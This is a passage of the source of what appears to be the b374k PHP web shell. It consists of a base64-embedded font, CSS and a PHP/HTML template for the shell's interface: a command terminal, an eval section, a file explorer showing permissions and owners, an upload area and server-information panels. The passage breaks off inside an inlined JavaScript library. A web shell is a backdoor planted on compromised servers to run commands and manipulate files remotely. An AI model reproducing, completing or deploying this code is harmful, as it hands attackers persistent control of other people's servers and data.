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) format('woff');
font-weight: normal;
font-style: normal;}*{
font-family:ubuntumono;
margin:0;
padding:0;
border:0;
-webkit-box-sizing:border-box;
-moz-box-sizing:border-box;
box-sizing:border-box;
font-size:12px;
font-weight:normal;}input:focus, select:focus, textarea:focus, button:focus{
outline:none;}html, body{
width:100%;
height:100%;
color:#222222;}body{
background:#f0f0f0;
line-height:17px;}a{
text-decoration:none;
color:#000000;}a:hover{
cursor:pointer;}p{
padding:8px 0;}img{
vertical-align:middle;}table{
width:100%;}table td, table th{
vertical-align:middle;
padding:8px;}textarea, input, select{
background:#ffffff;
padding:8px;
border-radius:8px;
color:#111111;
border:1px solid #dddddd;}textarea{
resize:vertical;
width:100%;
height:300px;
min-height:300px;
max-width:100%;
min-width:100%;}hr{
margin:8px 0;
border-bottom:1px dashed #dddddd;}video{
width:100%;
background:#222222;
border-radius:8px;}h1, h2{
background:#E7E7E7;
border-bottom: 1px solid #cccccc;
color:#000000;
border-radius:8px;
text-align:center;
cursor:pointer;
padding:8px;
margin-bottom:8px;}h1 a, h2 a{
color:#000000;}pre, #viewFilecontent{
word-break:break-all;
word-wrap:break-word;}pre{
white-space:pre-wrap;}#b374k{
cursor:pointer;}#header{
width:100%;
position:fixed;}#headerNav{
padding:10px 8px 6px 8px;
background:#333333;}#headerNav img{
margin:0 4px;}#headerNav a{
color:#efefef;}#menu{
background:#7C94A8;
height:33px;
border-bottom:3px solid #CCCFD1;}#menu .menuitem{
padding:7px 12px 6px 12px;
float:left;
height:30px;
background:#7C94A8;
color:#ffffff;
cursor:pointer;}#menu .menuitem:hover, #menu .menuitemSelected{
background:#768999;
color:#ffffff;}#menu .menuitemSelected{
background:#768999;}#basicInfo{
width:100%;
padding:8px;
border-bottom:1px dashed #dddddd;}#content{
background:#f0f0f0;
height:100%;
padding:66px 8px 8px 8px;}#content .menucontent{
background:#f0f0f0;
clear:both;
display:none;
padding:8px;
overflow-x:auto;
overflow-y:hidden;}#overlay{
position:fixed;
top:0px;
left:0px;
width:100%;
height:100%;
display:none;}#loading{
width:64px;
height:64px;
background:#7C94A8;
border-radius:32px 0 32px 0;
margin:auto;
vertical-align:middle;}#ulDragNDrop{
padding:32px 0;
text-align:center;
background:#7C94A8;
border-radius:8px;
color:#ebebeb;}#form{
display:none;}#devTitle{
background:#ebebeb;}.box{
min-width:50%;
border:1px solid #dddddd;
padding:8px 8px 0 8px;
border-radius:8px;
position:fixed;
background:#ebebeb;
opacity:1;
box-shadow:1px 1px 25px #150f0f;
opacity:0.98;}.boxtitle{
background:#dddddd;
border: 1px solid #cccccc;
color:#000000;
border-radius:8px;
text-align:center;
cursor:pointer;}.boxtitle a, .boxtitle a:hover{
color:#000000;}.boxcontent{
padding:2px 0 2px 0;}.boxresult{
padding:4px 10px 6px 10px;
border-top:1px solid #dddddd;
margin-top:4px;
text-align:center;}.boxtbl{
border:1px solid #dddddd;
border-radius:8px;
padding-bottom:8px;
background:#ebebeb;}.boxtbl td{
vertical-align:middle;
padding:8px 15px;
border-bottom:1px dashed #dddddd;}.boxtbl input, .boxtbl select, .boxtbl .button{
width:100%;}.boxlabel{
text-align: center;
border-bottom:1px solid #dddddd;
padding-bottom:8px;}.boxclose{
background:#222222;
border-radius:3px;
margin-right:8px;
margin-top:-3px;
padding:2px 8px;
cursor:pointer;
color:#ffffff;}.strong{
color:#7C94A8;
text-shadow:0px 0px 1px #C0DCF5;}.weak{
color:#666666;}.button{
min-width:120px;
width:120px;
margin:2px;
color:#ffffff;
background:#7C94A8;
border:none;
padding:8px;
border-radius:8px;
display:block;
text-align:center;
float:left;
cursor:pointer;}.button:hover, #ulDragNDrop:hover{
background:#768999;}.floatLeft{
float:left;}.floatRight{
float:right;}.colFit{
width:1px;
white-space:nowrap;}.colSpan{
width:100%;}.border{
border:1px solid #dddddd;
background:#ebebeb;
border-radius:8px;
padding:8px;}.borderbottom{
border-bottom:1px dashed #dddddd;}.borderright{
border-right:1px dashed #dddddd;}.borderleft{
border-left:1px dashed #dddddd;}.hr td{
border-bottom:1px dashed #dddddd;}.cBox, .cBoxAll{
width:10px;
height:10px;
border:1px solid #7C94A8;
border-radius:5px;
margin:auto;
float:left;
margin:3px 6px 2px 6px;
cursor:pointer;}.cBoxSelected{
background:#7C94A8;}.action, .actionfolder, .actiondot{
cursor:pointer;}.phpError{
padding:8px;
margin:8px 0;
text-align:center;}.dataView td, .dataView th, #viewFile td{
vertical-align:top;
border-bottom:1px dashed #dddddd;}.dataView tbody tr:hover{
background:#ebebeb;}.dataView th{
vertical-align:middle;
border-bottom:0;
background:#e0e0e0;}.dataView tfoot td{
vertical-align:middle;}.dataView .col-cbox{
text-align:center;
width:20px;}.dataView .col-size{
width:70px;}#xplTable tr>td:nth-child(3){
text-align:left;}#xplTable tr>td:nth-child(4),#xplTable tr>td:nth-child(5),#xplTable tr>td:nth-child(6){
text-align:center;}.dataView .col-owner{
width:140px;
min-width:140px;
text-align:center;}.dataView .col-perms{
width:80px;
text-align:center;}.dataView .col-modified{
width:150px;
text-align:center;}.sortable th{
cursor:pointer;}#xplTable td{
white-space:nowrap;}#viewFile td{
text-align:left;}#viewFilecontent{
padding:8px;
border:1px solid #dddddd;
border-radius:8px;}#terminalPrompt td{
padding:0;}#terminalInput{
background:none;
border:none;
padding:0;
width:100%;}#evalAdditional{
display:none;}.hl_default{
color:#517797;}.hl_keyword{
color:#00BB00;}.hl_string{
color:#000000;}.hl_html{
color:#CE5403;}.hl_comment{
color:#7F9F7F;}#navigation{position:fixed;left:-16px;top:46%;}#totop,#tobottom,#toggleBasicInfo{background:url('<?php echo get_resource('arrow');?>');width:32px;height:32px;opacity:0.30;margin:18px 0;cursor:pointer;}#totop:hover,#tobottom:hover{opacity:0.80;}#toggleBasicInfo{display:none;float:right;margin:0;}#basicInfoSplitter{display:none;}#tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);transform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}#showinfo{float:right;display:none;}#logout{float:right;}</style>
</head>
<body>
<!--wrapper start-->
<div id='wrapper'>
<!--header start-->
<div id='header'>
<!--header info start-->
<div id='headerNav'>
<span><a onclick="set_cookie('cwd', '');" href='<?php echo get_self(); ?>'><?php echo $GLOBALS['title']." ".$GLOBALS['ver']?></a></span>
<img onclick='viewfileorfolder();' id='b374k' src='<?php echo get_resource('b374k');?>' /> <span id='nav'><?php echo $nav; ?></span>
<a class='boxclose' id='logout' title='log out'>x</a>
<a class='boxclose' id='showinfo' title='show info'>v</a>
</div>
<!--header info end-->
<!--menu start-->
<div id='menu'>
<?php
foreach($GLOBALS['module_to_load'] as $k){
echo "<a class='menuitem' id='menu".$GLOBALS['module'][$k]['id']."' href='#!".$GLOBALS['module'][$k]['id']."'>".$GLOBALS['module'][$k]['title']."</a>";}?>
</div>
<!--menu end-->
</div>
<!--header end-->
<!--content start-->
<div id='content'>
<!--server info start-->
<div id='basicInfo'>
<div id='toggleBasicInfo'></div>
<?php
echo $error_html;
foreach(get_server_info() as $k=>$v){
echo "<div>".$v."</div>";}?>
</div>
<!--server info end-->
<?php
foreach($GLOBALS['module_to_load'] as $k){
$content = $GLOBALS['module'][$k]['content'];
echo "<div class='menucontent' id='".$GLOBALS['module'][$k]['id']."'>".$content."</div>";}?>
</div>
<!--content end-->
</div>
<!--wrapper end-->
<div id='navigation'>
<div id='totop'></div>
<div id='tobottom'></div>
</div>
<table id="overlay"><tr><td><div id="loading" ondblclick='loading_stop();'></div></td></tr></table>
<form action='<?php echo get_self(); ?>' method='post' id='form' target='_blank'></form>
<!--script start-->
<script type='text/javascript'>
var targeturl = '<?php echo get_self(); ?>';
var module_to_load = '<?php echo implode(",", $GLOBALS['module_to_load']);?>';
var win = <?php echo (is_win())?'true':'false';?>;
var init_shell = true;
/* Zepto v1.1.2 - zepto event ajax form ie - zeptojs.com/license */
var Zepto=function(){function G(a){return a==null?String(a):z[A.call(a)]||"object"}function H(a){return G(a)=="function"}function I(a){return a!=null&&a==a.window}function J(a){return a!=null&&a.nodeType==a.DOCUMENT_NODE}function K(a){return G(a)=="object"}function L(a){return K(a)&&!I(a)&&Object.getPrototypeOf(a)==Object.prototype}function M(a){return a instanceof Array}function N(a){return typeof a.length=="number"}function O(a){return g.call(a,function(a){return a!=null})}function P(a){return a.length>0?c.fn.concat.apply([],a):a}function Q(a){return a.replace(/::/g,"/").replace(/([A-Z]+)([A-Z][a-z])/g,"$1_$2").replace(/([a-z\d])([A-Z])/g,"$1_$2").replace(/_/g,"-").toLowerCase()}function R(a){return a in j?j[a]:j[a]=new RegExp("(^|\s)"+a+"(\s|$)")}function S(a,b){return typeof b=="number"&&!k[Q(a)]?b+"px":b}function T(a){var b,c;return i[a]||(b=h.createElement(a),h.body.appendChild(b),c=getComputedStyle(b,"").getPropertyValue("display"),b.parentNode.removeChild(b),c=="none"&&(c="block"),i[a]=c),i[a]}function U(a){return"children"in a?f.call(a.children):c.map(a.childNodes,function(a){if(a.nodeType==1)return a})}function V(c,d,e){for(b in d)e&&(L(d[b])||M(d[b]))?(L(d[b])&&!L(c[b])&&(c[b]={}),M(d[b])&&!M(c[b])&&(c[b]=[]),V(c[b],d[b],e)):d[b]!==a&&(c[b]=d[b])}function W(a,b){return b==null?c(a):c(a).filter(b)}function X(a,b,c,d){return H(b)?b.call(a,c,d):b}function Y(a,b,c){c==null?a.removeAttribute(b):a.setAttribute(b,c)}function Z(b,c){var d=b.className,e=d&&d.baseVal!==a;if(c===a)return e?d.baseVal:d;e?d.baseVal=c:b.className=c}function $(a){var b;try{return a?a=="true"||(a=="false"?!1:a=="null"?null:!/^0/.test(a)&&!isNaN(b=Number(a))?b:/^[\[\{]/.test(a)?c.parseJSON(a):a):a}catch(d){return a}}function _(a,b){b(a);for(var c in a.childNodes)_(a.childNodes[c],b)}var a,b,c,d,e=[],f=e.slice,g=e.filter,h=window.document,i={},j={},k={"column-count":1,columns:1,"font-weight":1,"line-height":1,opacity:1,"z-index":1,zoom:1},l=/^\s*<(\w+|!)[^>]*>/,m=/^<(\w+)\s*\/?>(?:<\/>|)$/,n=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,o=/^(?:body|html)$/i,p=/([A-Z])/g,q=["val","css","html","text","data","width","height","offset"],r=["after","prepend","before","append"],s=h.createElement("table"),t=h.createElement("tr"),u={tr:h.createElement("tbody"),tbody:s,thead:s,tfoot:s,td:t,th:t,"*":h.createElement("div")},v=/complete|loaded|interactive/,w=/^\.([\w-]+)$/,x=/^#([\w-]*)$/,y=/^[\w-]*$/,z={},A=z.toString,B={},C,D,E=h.createElement("div"),F={tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"};return B.matches=function(a,b){if(!b||!a||a.nodeType!==1)return!1;var c=a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.matchesSelector;if(c)return c.call(a,b);var d,e=a.parentNode,f=!e;return f&&(e=E).appendChild(a),d=~B.qsa(e,b).indexOf(a),f&&E.removeChild(a),d},C=function(a){return a.replace(/-+(.)?/g,function(a,b){return b?b.toUpperCase():""})},D=function(a){return 